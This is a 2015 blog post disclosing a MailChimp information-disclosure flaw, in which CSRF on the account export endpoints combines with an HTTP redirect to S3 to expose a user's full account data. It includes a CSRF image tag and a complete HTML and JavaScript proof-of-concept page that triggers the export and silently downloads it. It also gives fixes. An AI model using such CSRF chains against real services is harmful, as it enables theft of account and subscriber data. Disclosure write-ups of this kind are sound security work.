MailChimp Information Disclosure

Jun 27, 2015

Earlier this year I was working on a MailChimp integration for my “Real Job” and spent the evening poking around their application. I found a few small things that, when combined, allow a man-in-the-middle to view a user’s entire MailChimp account data (including a lists of their subscribers and campaigns).

Cross Site Request Forgery

I first noticed that the account data export endpoint had no CSRF protections. The following HTML, served from any website, would trigger an export for users who are logged into MailChimp.

<img src='https://us9.admin.mailchimp.com/account/export-confirm' />

Resolution

Endpoints that change state should use CSRF protections to validate that requests were the result of an authentic, user-initiated, action.

Insecure Connection

Once an account export job has completed, an email is sent to the user that contains a link to a ZIP file with their data. The link…

https://us9.admin.mailchimp.com/account/export-fetch/

does a 302 redirect to…

http://user-exports.s3.amazonaws.com/<file>.zip?AWSAccessKeyId=<key>...

The file is actually served of HTTP even though the MailChimp link was HTTPS. This allows a MITM to view all data from the account export.

Resolution

The export-fetch URL should redirect to the HTTPS variant for Amazon S3 URLs: https://user-exports.s3.amazonaws.com/...

Putting it together

I noticed that the link to download the export (https://us9.admin.mailchimp.com/account/export-fetch/) never changed and had no CSRF protections. A MITM that injects javascript into any HTTP page was able to trigger an account export and an automatic download of the ZIP over HTTP.

<html>
<head>
</head>
<body>
<h1>Mailchimp CSRF</h1>
<p><button onclick='start()'>Start Exploit</button></p>

<script type="text/javascript">
  var step_one = function(){
    console.log('Injecting a CSRF image to request an export');

    var elem = document.createElement("img");
    elem.src = 'https://us1.admin.mailchimp.com/account/export-confirm';
    elem.width = '1';
    document.body.appendChild(elem);
  }

  var step_two = function(){
    console.log('Injecting a CSRF to initiate a download');

    var elem = document.createElement("iframe");
    elem.src = 'https://us1.admin.mailchimp.com/account/export-fetch/';
    elem.width = '1px';
    elem.style.opacity = 0.01;
    document.body.appendChild(elem);

    console.log('Notice that the zip was downloaded over HTTP without user interaction');
  }

  var step_reload = function(){
    console.log('Reload the page, skipping the initial export request');
    window.location.hash = 'skip_step_one';
    window.location.reload(true);
  }

  var start = function(){
    if (window.location.hash != '#skip_step_one') {
      step_one();
    }
    step_two();
    console.log('Wait and poll until things downloaded');
    setInterval(step_reload, 30000);
  }

  if (window.location.hash == '#skip_step_one') {
    console.log('Autostart on refresh');
    start();
  }
</script>
</body>
</html>

Conclusions

  • CSRF protections are necessary on all endpoints that change state. This is actually a fairly easy mistake to make even with modern web frameworks with built-in CSRF protections.
  • HTTPS All the things!
  • I got a sweet laptop sticker!

Tags: